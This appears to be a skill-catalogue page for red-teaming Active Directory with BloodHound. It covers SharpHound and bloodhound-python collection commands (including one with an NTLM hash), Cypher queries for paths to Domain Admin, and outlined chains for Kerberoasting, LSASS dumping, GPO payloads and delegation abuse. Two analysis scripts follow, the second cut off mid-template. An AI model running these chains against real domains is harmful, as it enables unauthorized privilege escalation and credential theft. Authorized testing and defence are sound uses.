red teaming

Exploiting Active Directory with BloodHound

BloodHound is a graph-based Active Directory reconnaissance tool that uses graph theory to reveal hidden and unintended relationships within AD environments. Red teams use BloodHound to identify attack paths from compromised accounts to high-value targets such as Domain Admins, identifying privilege escalation chains that would be nearly impossible to find manually. SharpHound is the official data collector that gathers AD objects, relationships, ACLs, sessions, and group memberships.

active-directoryadversary-simulationbloodhoundexploitationmitre-attackpost-exploitationred-team
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Overview

BloodHound is a graph-based Active Directory reconnaissance tool that uses graph theory to reveal hidden and unintended relationships within AD environments. Red teams use BloodHound to identify attack paths from compromised accounts to high-value targets such as Domain Admins, identifying privilege escalation chains that would be nearly impossible to find manually. SharpHound is the official data collector that gathers AD objects, relationships, ACLs, sessions, and group memberships.

When to Use

  • When performing authorized security testing that involves exploiting active directory with bloodhound
  • When analyzing malware samples or attack artifacts in a controlled environment
  • When conducting red team exercises or penetration testing engagements
  • When building detection capabilities based on offensive technique understanding

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Collect Active Directory relationship data using SharpHound or BloodHound.py
  • Visualize attack paths from compromised accounts to Domain Admin
  • Identify misconfigured ACLs, group memberships, and delegation settings
  • Discover shortest attack paths to high-value targets
  • Map Kerberos delegation configurations for abuse
  • Document all identified privilege escalation chains

MITRE ATT&CK Mapping

  • T1087.002 - Account Discovery: Domain Account
  • T1069.002 - Permission Groups Discovery: Domain Groups
  • T1482 - Domain Trust Discovery
  • T1615 - Group Policy Discovery
  • T1018 - Remote System Discovery
  • T1033 - System Owner/User Discovery
  • T1016 - System Network Configuration Discovery

Workflow

Phase 1: Data Collection with SharpHound

  1. Transfer SharpHound collector to compromised host
  2. Execute collection with appropriate method (All, DCOnly, Session, LoggedOn)
  3. Collect from all reachable domains if multi-domain environment
  4. Exfiltrate ZIP data files to analysis workstation
  5. Import data into BloodHound CE or Legacy

Phase 2: Attack Path Analysis

  1. Mark owned principals (compromised accounts)
  2. Query shortest path to Domain Admins
  3. Identify Kerberoastable accounts with admin privileges
  4. Find AS-REP Roastable accounts
  5. Analyze ACL-based attack paths (GenericAll, GenericWrite, WriteDACL, ForceChangePassword)
  6. Review GPO abuse opportunities

Phase 3: Exploitation Planning

  1. Prioritize attack paths by complexity and stealth
  2. Identify required tools for each step in the chain
  3. Plan OPSEC considerations for each technique
  4. Execute identified attack chain
  5. Document evidence at each step

Tools and Resources

Tool Purpose Platform
BloodHound CE Graph visualization and analysis Web-based
SharpHound AD data collection (.NET) Windows
BloodHound.py AD data collection (Python) Linux/Windows
Cypher queries Custom graph queries Neo4j/BloodHound
PlumHound Automated BloodHound reporting Python
Max (BloodHound) BloodHound automation Python

Key BloodHound Queries

Query Purpose
Shortest Path to Domain Admins Find fastest route to DA
Find Kerberoastable Users with Path to DA SPN accounts leading to DA
Find AS-REP Roastable Users Accounts without pre-auth
Shortest Path from Owned Principals Paths from compromised accounts
Find Computers with Unsupported OS Legacy systems for exploitation
Find Users with DCSync Rights Accounts that can replicate AD
Find GPOs that Modify Local Group Membership GPO-based privilege escalation

Validation Criteria

  • SharpHound data collected from all domains
  • Attack paths identified from owned accounts to DA
  • ACL-based attack paths documented
  • Kerberoastable and AS-REP roastable accounts identified
  • Exploitation plan created with prioritized paths
  • Evidence screenshots captured for report
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 3

api-reference.md2.3 KB

API Reference: Active Directory Analysis with BloodHound

SharpHound — Data Collection

Syntax

SharpHound.exe -c All -d domain.local
SharpHound.exe -c DCOnly --ldapusername user --ldappassword pass

Collection Methods

Flag Data Collected
All Everything below
Default Group, Session, Trusts, ACL, ObjectProps
DCOnly LDAP-only (no sessions)
Session Active sessions
ACL Access control lists
ObjectProps User/computer properties

bloodhound-python — Cross-Platform

Syntax

bloodhound-python -d domain.local -u user -p pass -c all --zip -ns 10.10.10.1

Options

Flag Description
-d Domain name
-u Username
-p Password
-c Collection method
-ns Nameserver (DC IP)
--zip Output as ZIP

Neo4j Cypher Queries

Shortest Path to Domain Admins

MATCH p=shortestPath(
    (u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})
) RETURN p

Kerberoastable Users

MATCH (u:User) WHERE u.hasspn=true AND u.enabled=true
RETURN u.name, u.serviceprincipalnames

Unconstrained Delegation

MATCH (c:Computer {unconstraineddelegation:true})
RETURN c.name, c.operatingsystem

DCSync Rights

MATCH p=(u)-[:GetChanges|GetChangesAll]->(d:Domain)
RETURN u.name, d.name

AS-REP Roastable

MATCH (u:User {dontreqpreauth:true})
RETURN u.name, u.enabled

BloodHound JSON Format

Users JSON

{
  "data": [{
    "Properties": {
      "name": "USER@DOMAIN.LOCAL",
      "enabled": true,
      "admincount": true,
      "hasspn": false
    },
    "Aces": [],
    "MemberOf": []
  }]
}

Neo4j Python Driver

Connection

from neo4j import GraphDatabase
driver = GraphDatabase.driver("bolt://localhost:7687", auth=("neo4j", "bloodhound"))
with driver.session() as session:
    result = session.run("MATCH (n:User) RETURN count(n)")

BloodHound CE API

Authentication

POST https://bloodhound:8080/api/v2/login
Content-Type: application/json
 
{"login_method": "secret", "secret": "api-key-here"}

Search

GET https://bloodhound:8080/api/v2/search?q=admin
Authorization: Bearer {token}
standards.md3.4 KB

Standards and Framework References

MITRE ATT&CK - Discovery (TA0007)

Technique ID Name BloodHound Relevance
T1087.002 Account Discovery: Domain Account Enumerates all domain users
T1069.001 Permission Groups Discovery: Local Groups Local admin group membership
T1069.002 Permission Groups Discovery: Domain Groups Domain group membership
T1482 Domain Trust Discovery Trust relationships between domains
T1615 Group Policy Discovery GPO enumeration and analysis
T1018 Remote System Discovery Computer object enumeration
T1033 System Owner/User Discovery Session data collection
T1016 System Network Configuration Discovery Network topology mapping

MITRE ATT&CK - Privilege Escalation Paths

Technique ID Name BloodHound Attack Path
T1134.001 Access Token Manipulation Token impersonation via session data
T1078.002 Valid Accounts: Domain Accounts Credential reuse paths
T1484.001 Domain Policy Modification: Group Policy GPO abuse for code execution
T1558.003 Kerberoasting SPN accounts to crack
T1558.004 AS-REP Roasting No pre-auth accounts

Active Directory ACL Abuse Paths

ACL Right Abuse Method Impact
GenericAll Full control over object - reset password, modify group membership High
GenericWrite Modify object attributes - set SPN for Kerberoasting High
WriteOwner Take ownership of object, then modify DACL High
WriteDACL Modify permissions on object High
ForceChangePassword Reset user password without knowing current High
AddMember Add users to groups Medium-High
ReadLAPSPassword Read local admin passwords High
ReadGMSAPassword Read managed service account passwords High
AllExtendedRights DCSync rights, LAPS read Critical

BloodHound Edge Types

Edge Description Attack Potential
MemberOf Group membership Inherited permissions
HasSession Active user session on computer Credential theft
AdminTo Local admin rights Lateral movement
CanRDP RDP access rights Remote access
CanPSRemote PowerShell remoting rights Remote code execution
ExecuteDCOM DCOM execution rights Remote execution
Contains OU/GPO container relationship GPO targeting
GPLink GPO linked to OU Policy enforcement path
Owns Object ownership Full control potential
AZMemberOf Azure AD group membership Cloud attack path
AZGlobalAdmin Azure AD Global Admin Cloud full control

NIST SP 800-171 - Active Directory Security

3.1 Access Control

  • Limit information system access to authorized users
  • Employ the principle of least privilege
  • Control the flow of CUI per approved authorizations

3.5 Identification and Authentication

  • Authenticate organizational users and devices
  • Use multi-factor authentication
  • Employ replay-resistant authentication mechanisms

CIS Benchmark for Active Directory

Account Configuration

  • Ensure 'Account lockout threshold' is set to 5 or fewer attempts
  • Ensure 'Minimum password length' is set to 14 or more characters
  • Ensure Kerberos service accounts use AES encryption

Group Policy Configuration

  • Restrict access to Group Policy modification
  • Audit Group Policy changes
  • Limit GPO link permissions
workflows.md6.1 KB

BloodHound Active Directory Exploitation Workflows

Workflow 1: Data Collection

SharpHound Collection (Windows)

# Basic collection - all methods
.\SharpHound.exe -c All
 
# DCOnly collection (less noise, requires domain user)
.\SharpHound.exe -c DCOnly
 
# Session collection with loop (continuous session data gathering)
.\SharpHound.exe -c Session --Loop --LoopDuration 02:00:00 --LoopInterval 00:05:00
 
# Collection from specific domain
.\SharpHound.exe -c All -d targetdomain.local
 
# Stealth collection (avoid noisy queries)
.\SharpHound.exe -c DCOnly,Session --Stealth
 
# Collection via LDAP with specific credentials
.\SharpHound.exe -c All -d targetdomain.local --LdapUsername user --LdapPassword pass
 
# Output to specific directory
.\SharpHound.exe -c All --OutputDirectory C:\Users\Public\
 
# Exclude domain controllers from session collection
.\SharpHound.exe -c All --ExcludeDomainControllers

BloodHound.py Collection (Linux/Kali)

# Basic collection with username/password
bloodhound-python -d targetdomain.local -u user -p 'Password123' -c All -ns 10.0.0.1
 
# Collection with NTLM hash
bloodhound-python -d targetdomain.local -u user --hashes aad3b435b51404eeaad3b435b51404ee:hash -c All -ns 10.0.0.1
 
# DNS resolution via domain controller
bloodhound-python -d targetdomain.local -u user -p 'Password123' -c All -dc dc01.targetdomain.local -ns 10.0.0.1
 
# Collection with specific methods
bloodhound-python -d targetdomain.local -u user -p 'Password123' -c Group,LocalAdmin,Session -ns 10.0.0.1

Workflow 2: BloodHound CE Setup and Data Import

Setup BloodHound Community Edition

# Docker Compose setup
curl -L https://ghst.ly/getbhce -o docker-compose.yml
docker compose pull
docker compose up -d
 
# Access at https://localhost:8080
# Default credentials in docker compose output
# Upload SharpHound ZIP files via UI

Legacy BloodHound Setup

# Install Neo4j
sudo apt install neo4j
sudo neo4j console
 
# Download and run BloodHound
wget https://github.com/BloodHoundAD/BloodHound/releases/latest
chmod +x BloodHound
./BloodHound --no-sandbox
 
# Import data via drag-and-drop of ZIP files

Workflow 3: Attack Path Discovery

Pre-Built Queries

-- Shortest Path to Domain Admins from Owned
MATCH p=shortestPath((n {owned:true})-[*1..]->(m:Group {name:"DOMAIN ADMINS@TARGETDOMAIN.LOCAL"}))
RETURN p
 
-- Find All Kerberoastable Users
MATCH (u:User {hasspn:true}) RETURN u.name, u.serviceprincipalnames
 
-- Kerberoastable Users with Path to DA
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:"DOMAIN ADMINS@TARGETDOMAIN.LOCAL"}))
RETURN u.name, LENGTH(p)
ORDER BY LENGTH(p) ASC
 
-- AS-REP Roastable Users
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname
 
-- Users with DCSync Rights
MATCH p=(n)-[:MemberOf|GetChanges|GetChangesAll*1..]->(d:Domain)
WHERE n.name IS NOT NULL
RETURN p
 
-- Computers with Unconstrained Delegation
MATCH (c:Computer {unconstraineddelegation:true})
WHERE NOT c.name CONTAINS "DC"
RETURN c.name
 
-- Find Users with Local Admin on Multiple Computers
MATCH (u:User)-[:AdminTo]->(c:Computer)
WITH u, COUNT(c) as adminCount
WHERE adminCount > 1
RETURN u.name, adminCount
ORDER BY adminCount DESC
 
-- GPOs Modifying Local Group Memberships
MATCH (g:GPO)-[:GpLink]->(ou:OU)-[:Contains*1..]->(c:Computer)
RETURN g.name, ou.name, COLLECT(c.name)
 
-- Find Shortest Path from Domain Users to DA
MATCH p=shortestPath((g:Group {name:"DOMAIN USERS@TARGETDOMAIN.LOCAL"})-[*1..]->(h:Group {name:"DOMAIN ADMINS@TARGETDOMAIN.LOCAL"}))
RETURN p
 
-- Accounts with Constrained Delegation
MATCH (c) WHERE c.allowedtodelegate IS NOT NULL
RETURN c.name, c.allowedtodelegate

ACL-Based Attack Path Queries

-- Find GenericAll Rights
MATCH p=(n)-[:GenericAll]->(m)
WHERE n <> m AND NOT n.name STARTS WITH "DVTA"
RETURN p
 
-- Find WriteDACL Rights to Domain Object
MATCH p=(n)-[:WriteDacl]->(d:Domain)
RETURN p
 
-- Find ForceChangePassword Paths
MATCH p=(n)-[:ForceChangePassword]->(m:User)
RETURN p
 
-- Find AddMember Rights to Admin Groups
MATCH p=(n)-[:AddMember]->(g:Group)
WHERE g.name CONTAINS "ADMIN"
RETURN p
 
-- Find WriteOwner Abuse Paths
MATCH p=(n)-[:WriteOwner]->(m)
WHERE m:Group OR m:User
RETURN p
 
-- Find LAPS Password Readers
MATCH p=(n)-[:ReadLAPSPassword]->(c:Computer)
RETURN p

Workflow 4: Exploitation Chain Examples

Chain 1: ACL Abuse to Domain Admin

Step 1: Owned user has GenericWrite on Service Account
  -> Set SPN on service account (Targeted Kerberoasting)
 
Step 2: Crack service account Kerberos ticket
  -> Obtain service account password
 
Step 3: Service account has GenericAll on admin group
  -> Add ourselves to admin group
 
Step 4: Admin group is member of Domain Admins
  -> Domain Admin achieved

Chain 2: Session-Based Lateral Movement

Step 1: BloodHound shows Domain Admin session on WORKSTATION01
Step 2: Owned user has local admin on WORKSTATION01
Step 3: Lateral move to WORKSTATION01 via PsExec/WMI
Step 4: Dump credentials from LSASS
Step 5: Obtain Domain Admin NTLM hash or Kerberos ticket

Chain 3: GPO Abuse Path

Step 1: Owned user has WriteDACL on GPO
Step 2: Modify GPO to add immediate scheduled task
Step 3: GPO is linked to OU containing Domain Controller
Step 4: Scheduled task executes payload on DC
Step 5: Domain compromise achieved

Chain 4: Constrained Delegation Abuse

Step 1: Compromised service account with constrained delegation to DC
Step 2: Request TGT for compromised service account
Step 3: Use S4U2Self to get ticket for high-priv user
Step 4: Use S4U2Proxy to forward ticket to target service on DC
Step 5: Access DC as Domain Admin

Workflow 5: Reporting with PlumHound

Automated Report Generation

# Install PlumHound
git clone https://github.com/PlumHound/PlumHound.git
pip install -r requirements.txt
 
# Generate default reports
python PlumHound.py -x tasks/default.tasks -s "bolt://localhost:7687" -u neo4j -p password
 
# Generate specific report
python PlumHound.py --easy -s "bolt://localhost:7687" -u neo4j -p password
 
# Custom task file for red team reporting
python PlumHound.py -x tasks/redteam.tasks -s "bolt://localhost:7687" -u neo4j -p password

Scripts 2

agent.py5.6 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for Active Directory attack path analysis using BloodHound data collection."""

import argparse
import json
import os
import subprocess
from datetime import datetime, timezone


def run_sharphound(domain, username=None, password=None, collection="All"):
    """Execute SharpHound data collection."""
    cmd = ["SharpHound.exe", "-c", collection, "-d", domain]
    if username:
        cmd.extend(["--ldapusername", username])
    if password:
        cmd.extend(["--ldappassword", password])
    try:
        result = subprocess.check_output(cmd, text=True, errors="replace", timeout=120)
        return {"status": "success", "output": result[:500]}
    except (subprocess.SubprocessError, FileNotFoundError):
        return {"status": "failed", "note": "SharpHound.exe not found or execution failed"}


def run_bloodhound_python(domain, username, password, dc_ip, collection="all"):
    """Execute bloodhound-python for cross-platform collection."""
    cmd = [
        "bloodhound-python", "-d", domain, "-u", username, "-p", password,
        "-c", collection, "--zip", "-ns", dc_ip,
    ]
    try:
        result = subprocess.check_output(cmd, text=True, errors="replace", timeout=120)
        return {"status": "success", "output": result[:500]}
    except (subprocess.SubprocessError, FileNotFoundError):
        return {"status": "failed", "note": "bloodhound-python not found"}


def analyze_bloodhound_json(data_dir):
    """Parse BloodHound JSON output for high-value findings."""
    findings = {"users": 0, "computers": 0, "groups": 0, "domains": 0, "attack_paths": []}
    for fname in os.listdir(data_dir):
        fpath = os.path.join(data_dir, fname)
        if not fname.endswith(".json"):
            continue
        try:
            with open(fpath, "r") as f:
                data = json.load(f)
            if "users" in fname.lower():
                users = data.get("data", [])
                findings["users"] = len(users)
                for u in users:
                    props = u.get("Properties", {})
                    if props.get("admincount"):
                        findings["attack_paths"].append({
                            "type": "privileged_user",
                            "name": props.get("name", ""),
                            "enabled": props.get("enabled", False),
                        })
            elif "computers" in fname.lower():
                findings["computers"] = len(data.get("data", []))
            elif "groups" in fname.lower():
                findings["groups"] = len(data.get("data", []))
        except (json.JSONDecodeError, KeyError):
            pass
    return findings


def query_neo4j(query, uri="bolt://localhost:7687", user="neo4j", password="bloodhound"):
    """Execute Cypher query against BloodHound Neo4j database."""
    try:
        from neo4j import GraphDatabase
        driver = GraphDatabase.driver(uri, auth=(user, password))
        with driver.session() as session:
            result = session.run(query)
            records = [dict(r) for r in result]
        driver.close()
        return records
    except ImportError:
        return [{"error": "neo4j driver not installed: pip install neo4j"}]
    except Exception as e:
        return [{"error": str(e)}]


ATTACK_PATH_QUERIES = {
    "shortest_to_da": "MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})) RETURN p",
    "kerberoastable": "MATCH (u:User) WHERE u.hasspn=true AND u.enabled=true RETURN u.name, u.serviceprincipalnames",
    "unconstrained_delegation": "MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name",
    "dcsync_rights": "MATCH p=(u)-[:GetChanges|GetChangesAll]->(d:Domain) RETURN u.name, d.name",
}


def main():
    parser = argparse.ArgumentParser(
        description="AD attack path analysis with BloodHound (authorized testing only)"
    )
    parser.add_argument("--collect", choices=["sharphound", "bloodhound-python"])
    parser.add_argument("--domain", help="AD domain")
    parser.add_argument("--username", help="Domain username")
    parser.add_argument("--password", help="Domain password")
    parser.add_argument("--dc-ip", help="Domain controller IP")
    parser.add_argument("--analyze-dir", help="Directory with BloodHound JSON files")
    parser.add_argument("--cypher-query", help="Custom Cypher query for Neo4j")
    parser.add_argument("--output", "-o", help="Output JSON report")
    args = parser.parse_args()

    print("[*] BloodHound AD Attack Path Agent")
    print("[!] For authorized security testing only")
    report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": {}}

    if args.collect == "sharphound":
        result = run_sharphound(args.domain or "")
        report["findings"]["collection"] = result
    elif args.collect == "bloodhound-python":
        result = run_bloodhound_python(
            args.domain or "", args.username or "", args.password or "", args.dc_ip or ""
        )
        report["findings"]["collection"] = result

    if args.analyze_dir:
        analysis = analyze_bloodhound_json(args.analyze_dir)
        report["findings"]["analysis"] = analysis
        print(f"[*] Users: {analysis['users']}, Computers: {analysis['computers']}")
        print(f"[*] Attack paths found: {len(analysis['attack_paths'])}")

    if args.cypher_query:
        results = query_neo4j(args.cypher_query)
        report["findings"]["cypher_results"] = results

    if args.output:
        with open(args.output, "w") as f:
            json.dump(report, f, indent=2)
        print(f"[*] Report saved to {args.output}")
    else:
        print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()
process.py21.6 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
BloodHound AD Attack Path Analyzer

Processes BloodHound data exports to identify and prioritize attack paths:
- Parses BloodHound JSON/ZIP exports
- Identifies high-value targets and attack paths
- Generates attack chain reports
- Exports custom Cypher queries
- Creates visual attack path documentation

Usage:
    python process.py --import-data bloodhound_data.zip --analyze
    python process.py --query kerberoastable --domain targetdomain.local
    python process.py --generate-report --output ./ad_report

Requirements:
    pip install rich neo4j zipfile36
"""

import argparse
import json
import os
import sys
import zipfile
from collections import Counter, defaultdict
from datetime import datetime
from pathlib import Path
from typing import Any

try:
    from rich.console import Console
    from rich.table import Table
    from rich.panel import Panel
    from rich.tree import Tree
except ImportError:
    print("[!] Missing dependencies. Install with: pip install rich")
    sys.exit(1)

console = Console()


class BloodHoundAnalyzer:
    """Analyzes BloodHound collection data for attack path identification."""

    def __init__(self):
        self.users = []
        self.computers = []
        self.groups = []
        self.domains = []
        self.gpos = []
        self.ous = []
        self.sessions = []
        self.local_admins = []
        self.domain_name = ""

    def import_zip(self, zip_path: str):
        """Import BloodHound ZIP export."""
        console.print(f"[yellow][*] Importing data from {zip_path}...[/yellow]")

        try:
            with zipfile.ZipFile(zip_path, "r") as zf:
                for filename in zf.namelist():
                    if not filename.endswith(".json"):
                        continue

                    with zf.open(filename) as f:
                        data = json.loads(f.read())

                    if "users" in filename.lower() or (isinstance(data, dict) and data.get("meta", {}).get("type") == "users"):
                        self._process_users(data)
                    elif "computers" in filename.lower() or (isinstance(data, dict) and data.get("meta", {}).get("type") == "computers"):
                        self._process_computers(data)
                    elif "groups" in filename.lower() or (isinstance(data, dict) and data.get("meta", {}).get("type") == "groups"):
                        self._process_groups(data)
                    elif "domains" in filename.lower() or (isinstance(data, dict) and data.get("meta", {}).get("type") == "domains"):
                        self._process_domains(data)
                    elif "gpos" in filename.lower() or (isinstance(data, dict) and data.get("meta", {}).get("type") == "gpos"):
                        self._process_gpos(data)
                    elif "ous" in filename.lower() or (isinstance(data, dict) and data.get("meta", {}).get("type") == "ous"):
                        self._process_ous(data)

            console.print(f"[green][+] Imported: {len(self.users)} users, {len(self.computers)} computers, {len(self.groups)} groups[/green]")

        except Exception as e:
            console.print(f"[red][-] Import failed: {e}[/red]")

    def _process_users(self, data):
        """Process user data from BloodHound export."""
        items = data.get("data", data) if isinstance(data, dict) else data
        if isinstance(items, dict):
            items = items.get("data", [])

        for user in items:
            props = user.get("Properties", user.get("properties", {}))
            self.users.append({
                "name": props.get("name", ""),
                "displayname": props.get("displayname", ""),
                "enabled": props.get("enabled", True),
                "hasspn": props.get("hasspn", False),
                "dontreqpreauth": props.get("dontreqpreauth", False),
                "admincount": props.get("admincount", False),
                "unconstraineddelegation": props.get("unconstraineddelegation", False),
                "passwordnotreqd": props.get("passwordnotreqd", False),
                "sensitive": props.get("sensitive", False),
                "lastlogon": props.get("lastlogon", 0),
                "pwdlastset": props.get("pwdlastset", 0),
                "serviceprincipalnames": props.get("serviceprincipalnames", []),
                "sidhistory": props.get("sidhistory", []),
                "description": props.get("description", ""),
            })

    def _process_computers(self, data):
        """Process computer data from BloodHound export."""
        items = data.get("data", data) if isinstance(data, dict) else data
        if isinstance(items, dict):
            items = items.get("data", [])

        for computer in items:
            props = computer.get("Properties", computer.get("properties", {}))
            self.computers.append({
                "name": props.get("name", ""),
                "operatingsystem": props.get("operatingsystem", ""),
                "enabled": props.get("enabled", True),
                "unconstraineddelegation": props.get("unconstraineddelegation", False),
                "allowedtodelegate": props.get("allowedtodelegate", []),
                "haslaps": props.get("haslaps", False),
                "lastlogontimestamp": props.get("lastlogontimestamp", 0),
            })

    def _process_groups(self, data):
        """Process group data from BloodHound export."""
        items = data.get("data", data) if isinstance(data, dict) else data
        if isinstance(items, dict):
            items = items.get("data", [])

        for group in items:
            props = group.get("Properties", group.get("properties", {}))
            members = group.get("Members", group.get("members", []))
            self.groups.append({
                "name": props.get("name", ""),
                "description": props.get("description", ""),
                "admincount": props.get("admincount", False),
                "member_count": len(members) if isinstance(members, list) else 0,
            })

    def _process_domains(self, data):
        """Process domain data."""
        items = data.get("data", data) if isinstance(data, dict) else data
        if isinstance(items, dict):
            items = items.get("data", [])

        for domain in items:
            props = domain.get("Properties", domain.get("properties", {}))
            self.domains.append({
                "name": props.get("name", ""),
                "functionallevel": props.get("functionallevel", ""),
            })
            if not self.domain_name:
                self.domain_name = props.get("name", "")

    def _process_gpos(self, data):
        """Process GPO data."""
        items = data.get("data", data) if isinstance(data, dict) else data
        if isinstance(items, dict):
            items = items.get("data", [])

        for gpo in items:
            props = gpo.get("Properties", gpo.get("properties", {}))
            self.gpos.append({
                "name": props.get("name", ""),
                "gpcpath": props.get("gpcpath", ""),
            })

    def _process_ous(self, data):
        """Process OU data."""
        items = data.get("data", data) if isinstance(data, dict) else data
        if isinstance(items, dict):
            items = items.get("data", [])

        for ou in items:
            props = ou.get("Properties", ou.get("properties", {}))
            self.ous.append({
                "name": props.get("name", ""),
                "description": props.get("description", ""),
            })

    def find_kerberoastable(self) -> list[dict]:
        """Find users with SPNs set (Kerberoastable)."""
        return [
            u for u in self.users
            if u.get("hasspn") and u.get("enabled", True)
        ]

    def find_asrep_roastable(self) -> list[dict]:
        """Find users without Kerberos pre-authentication."""
        return [
            u for u in self.users
            if u.get("dontreqpreauth") and u.get("enabled", True)
        ]

    def find_unconstrained_delegation(self) -> list[dict]:
        """Find computers with unconstrained delegation."""
        return [
            c for c in self.computers
            if c.get("unconstraineddelegation") and c.get("enabled", True)
        ]

    def find_constrained_delegation(self) -> list[dict]:
        """Find objects with constrained delegation."""
        results = []
        for c in self.computers:
            if c.get("allowedtodelegate"):
                results.append(c)
        for u in self.users:
            if u.get("serviceprincipalnames"):
                results.append(u)
        return results

    def find_privileged_users(self) -> list[dict]:
        """Find users with adminCount set."""
        return [
            u for u in self.users
            if u.get("admincount") and u.get("enabled", True)
        ]

    def find_password_not_required(self) -> list[dict]:
        """Find users with password not required flag."""
        return [
            u for u in self.users
            if u.get("passwordnotreqd") and u.get("enabled", True)
        ]

    def find_computers_without_laps(self) -> list[dict]:
        """Find computers without LAPS configured."""
        return [
            c for c in self.computers
            if not c.get("haslaps") and c.get("enabled", True)
        ]

    def find_legacy_os(self) -> list[dict]:
        """Find computers running legacy/unsupported operating systems."""
        legacy_patterns = [
            "Windows Server 2008", "Windows Server 2003", "Windows XP",
            "Windows 7", "Windows Vista", "Windows Server 2012",
        ]
        results = []
        for c in self.computers:
            os_name = c.get("operatingsystem", "")
            for pattern in legacy_patterns:
                if pattern.lower() in os_name.lower():
                    results.append(c)
                    break
        return results

    def find_users_with_sid_history(self) -> list[dict]:
        """Find users with SID History (potential for SID history injection)."""
        return [
            u for u in self.users
            if u.get("sidhistory") and len(u["sidhistory"]) > 0
        ]

    def get_os_distribution(self) -> dict:
        """Get operating system distribution across computers."""
        os_count = Counter()
        for c in self.computers:
            os_name = c.get("operatingsystem", "Unknown")
            os_count[os_name] += 1
        return dict(os_count.most_common())

    def generate_cypher_queries(self) -> list[dict]:
        """Generate useful Cypher queries for the domain."""
        domain = self.domain_name.upper() if self.domain_name else "TARGETDOMAIN.LOCAL"

        queries = [
            {
                "name": "Shortest Path to Domain Admins",
                "query": f'MATCH p=shortestPath((n)-[*1..]->(g:Group {{name:"DOMAIN ADMINS@{domain}"}})) WHERE n.owned=true RETURN p',
                "description": "Find shortest attack path from owned users to DA",
            },
            {
                "name": "Kerberoastable Users with Admin Rights",
                "query": "MATCH (u:User {hasspn:true, enabled:true})-[:AdminTo]->(c:Computer) RETURN u.name, COLLECT(c.name)",
                "description": "SPN accounts that are local admins",
            },
            {
                "name": "Unconstrained Delegation Computers (Non-DC)",
                "query": "MATCH (c:Computer {unconstraineddelegation:true}) WHERE NOT c.name CONTAINS 'DC' RETURN c.name, c.operatingsystem",
                "description": "Non-DC computers with unconstrained delegation",
            },
            {
                "name": "Users with DCSync Rights",
                "query": f'MATCH p=(n)-[:MemberOf|GetChanges|GetChangesAll*1..]->(d:Domain {{name:"{domain}"}}) RETURN p',
                "description": "Accounts that can perform DCSync",
            },
            {
                "name": "Computers Without LAPS",
                "query": "MATCH (c:Computer {haslaps:false, enabled:true}) RETURN c.name, c.operatingsystem ORDER BY c.name",
                "description": "Computers without LAPS for local admin persistence",
            },
            {
                "name": "High Value Group Members",
                "query": f'MATCH (u:User)-[:MemberOf*1..]->(g:Group {{highvalue:true}}) RETURN u.name, COLLECT(g.name)',
                "description": "Users in high-value groups",
            },
            {
                "name": "Sessions on High Value Targets",
                "query": "MATCH (c:Computer {highvalue:true})<-[:HasSession]-(u:User) RETURN c.name, COLLECT(u.name)",
                "description": "User sessions on high-value computers",
            },
            {
                "name": "GenericAll Rights on Users/Groups",
                "query": "MATCH p=(n)-[:GenericAll]->(m) WHERE (m:User OR m:Group) AND n<>m RETURN p",
                "description": "Objects with full control over users/groups",
            },
        ]

        return queries

    def generate_report(self, output_dir: str):
        """Generate comprehensive analysis report."""
        out_path = Path(output_dir)
        out_path.mkdir(parents=True, exist_ok=True)

        kerberoastable = self.find_kerberoastable()
        asrep = self.find_asrep_roastable()
        unconstrained = self.find_unconstrained_delegation()
        privileged = self.find_privileged_users()
        no_password = self.find_password_not_required()
        no_laps = self.find_computers_without_laps()
        legacy = self.find_legacy_os()
        sid_history = self.find_users_with_sid_history()
        os_dist = self.get_os_distribution()
        queries = self.generate_cypher_queries()

        report = f"""# BloodHound Active Directory Analysis Report
## Domain: {self.domain_name or 'Unknown'}
## Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}

---

## 1. Environment Summary

| Category | Count |
|----------|-------|
| Users | {len(self.users)} |
| Computers | {len(self.computers)} |
| Groups | {len(self.groups)} |
| Domains | {len(self.domains)} |
| GPOs | {len(self.gpos)} |
| OUs | {len(self.ous)} |

## 2. High-Risk Findings

### 2.1 Kerberoastable Accounts ({len(kerberoastable)})

| Username | Display Name | Admin Count | SPNs |
|----------|-------------|-------------|------|
"""
        for u in kerberoastable[:20]:
            spns = ", ".join(u.get("serviceprincipalnames", [])[:2])
            report += f"| {u['name']} | {u.get('displayname', 'N/A')} | {u.get('admincount', False)} | {spns} |\n"

        report += f"""
### 2.2 AS-REP Roastable Accounts ({len(asrep)})

| Username | Display Name | Enabled |
|----------|-------------|---------|
"""
        for u in asrep[:20]:
            report += f"| {u['name']} | {u.get('displayname', 'N/A')} | {u.get('enabled', True)} |\n"

        report += f"""
### 2.3 Unconstrained Delegation ({len(unconstrained)})

| Computer | Operating System |
|----------|-----------------|
"""
        for c in unconstrained:
            report += f"| {c['name']} | {c.get('operatingsystem', 'N/A')} |\n"

        report += f"""
### 2.4 Privileged Accounts ({len(privileged)})

| Username | Admin Count | Sensitive |
|----------|-------------|-----------|
"""
        for u in privileged[:20]:
            report += f"| {u['name']} | {u.get('admincount', False)} | {u.get('sensitive', False)} |\n"

        report += f"""
### 2.5 Password Not Required ({len(no_password)})

| Username | Enabled | Last Logon |
|----------|---------|-----------|
"""
        for u in no_password[:20]:
            report += f"| {u['name']} | {u.get('enabled', True)} | {u.get('lastlogon', 'N/A')} |\n"

        report += f"""
### 2.6 Computers Without LAPS ({len(no_laps)})
Total: {len(no_laps)} out of {len(self.computers)} computers

### 2.7 Legacy Operating Systems ({len(legacy)})

| Computer | OS |
